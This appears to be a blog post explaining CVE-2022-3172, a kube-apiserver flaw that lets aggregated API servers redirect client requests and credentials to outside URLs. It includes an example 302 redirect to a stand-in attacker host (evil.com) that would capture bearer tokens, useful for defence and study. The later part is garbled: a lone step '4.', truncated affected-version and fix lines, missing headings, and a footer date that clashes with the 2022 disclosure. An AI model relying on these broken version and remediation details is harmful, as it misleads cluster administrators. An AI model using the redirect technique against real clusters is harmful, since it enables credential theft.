Kubernetes is the go-to platform for container orchestration, but sometimes even well-built systems have security gaps. One such vulnerability—CVE-2022-3172—was discovered in the kube-apiserver, the main front door into every Kubernetes cluster.

In this post, I’ll break down how this flaw works, give you code snippets for context, point to original sources, and explain (in simple terms) how it could be exploited.

What is CVE-2022-3172?

On September 13, 2022, the Kubernetes Product Security Team announced a vulnerability in kube-apiserver: when a cluster uses aggregated API servers, a crafty API server could redirect requests anywhere on the internet.

What’s at stake? If exploited, your credentials and requests could be redirected and intercepted by a malicious server. This means attackers could do things in your name, or steal sensitive data.

Official Advisory

> *A security issue was discovered in kube-apiserver that allows an aggregated API server to redirect client traffic to any URL. This could lead to the client performing unexpected actions as well as forwarding the client’s API server credentials to third parties.*
> — Kubernetes CVE-2022-3172 Advisory

How Aggregated API Servers Work

Kubernetes lets you extend its API using "aggregated API servers" (AA). When a user sends a request for a custom resource, kube-apiserver can forward that on to the registered APIService.

The risk? kube-apiserver trusted whatever location the aggregated API server replied with, even external URLs—not just those inside the cluster.

Picture this (simplified logic in Go)

// kube-apiserver gets a request for /apis/acme.com/v1/widgets

// It forwards the request to the registered aggregated API server

resp, err := http.Get(aggregatedServerURL + "/widgets")
if resp.StatusCode == 302 { // 302 == redirect
  redirectURL := resp.Header.Get("Location")
  // BAD: follow the redirect, even if it's to the open internet!
  resp2, err2 := http.Get(redirectURL)
  // User's original request and credentials are now sent to the redirected location!
}

Exploitation: How Could Attackers Abuse CVE-2022-3172?

An attacker with control over an aggregated API server could send a 3XX redirect response with a Location pointing to *any* malicious web server, for example:

HTTP/1.1 302 Found
Location: https://evil.com/capture

kube-apiserver would happily follow that redirect and include the client's authentication headers, such as bearer tokens, in the outgoing request. This means credentials could be leaked to evil.com.

Malicious API server replies with a 302 redirect to a server controlled by the attacker.

4. kube-apiserver forwards the original request—with credential headers—to the attacker’s URL.

Diagram

User
 |
 | (request includes creds)
 v
kube-apiserver
 |
 | --> aggregated API server (attacker-owned)
       | [Sends 302 redirect to evil.com]
 |
 v
evil.com <--- receives request with user's credentials

Your cluster's kube-apiserver version is v1.25. or older and hasn't been updated with the fix.

Check admission logs for unusual 3XX redirects, or outbound traffic to unknown domains from your API server.

v1.23.11+

Release latest versions

Temporary workaround: Restrict who can register aggregated API servers. Monitor for suspicious outbound traffic from kube-apiserver nodes.

References & Further Reading

- Kubernetes Project CVE-2022-3172 Advisory
- Kubernetes v1.25.1 Release Notes
- Security Advisory from Red Hat

Takeaways

- CVE-2022-3172 exposes a critical flaw in the way kube-apiserver processes redirects from aggregated API servers.

Limit who can register and run aggregated API servers in your infrastructure.

Stay sharp: even trusted cluster components can sometimes put your data at risk. Always keep your systems up to date.

Timeline

Published on: 11/03/2023 20:15:08 UTC
Last modified on: 11/14/2023 16:26:22 UTC